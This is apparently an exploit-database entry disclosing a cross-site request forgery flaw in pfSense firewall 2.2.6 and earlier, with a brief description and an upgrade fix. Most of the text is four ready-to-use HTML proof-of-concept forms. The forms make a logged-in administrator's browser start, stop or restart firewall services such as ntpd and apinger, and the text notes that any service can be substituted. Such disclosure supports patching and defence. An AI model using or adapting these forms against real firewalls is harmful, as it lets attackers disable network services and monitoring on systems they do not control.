1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
# Exploit Title: pfSense Firewall <= 2.2.6 Cross-Site Request Forgery # Exploit Author: Aatif Shahdad # Software Link: http://files.nyi.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-i386.iso.gz # Version: 2.2.6 and below. # Contact: https://twitter.com/61617469665f736 # Category: webapps 1. Description An attacker can coerce a logged-in victim's browser to issue requests that will start/stop/restart services on the Firewall. 2. Proof of Concept Login to the Web Console, for example, http://192.168.0.1 (set at the time of install) andopen the following POC’s: Start NTPD service: <html> <body> <form action="https://192.168.0.1/status_services.php"> <input type="hidden" name="mode" value="startservice" /> <input type="hidden" name="service" value="ntpd" /> <input type="submit" value="Submit request" /> </form> </body> </html> Stop NTPD service: <html> <body> <form action="https://192.168.0.1/status_services.php"> <input type="hidden" name="mode" value="stopservice" /> <input type="hidden" name="service" value="ntpd" /> <input type="submit" value="Submit request" /> </form> </body> </html> Restart NTPD service: POC: <html> <body> <form action="https://192.168.0.1/status_services.php"> <input type="hidden" name="mode" value="restartservice" /> <input type="hidden" name="service" value="ntpd" /> <input type="submit" value="Submit request" /> </form> </body> </html> The service will automatically start/stop. Note: That NTPD service can be replaced with any service running on the Firewall. For example, to stop the APINGER (gateway monitoring daemon) service, use the following POC: <html> <body> <form action="https://192.168.0.1/status_services.php"> <input type="hidden" name="mode" value="stopservice" /> <input type="hidden" name="service" value="apinger" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3. Solution: Upgrade to version 2.3 at https://www.pfsense.org/download/mirror.php?section=downloads |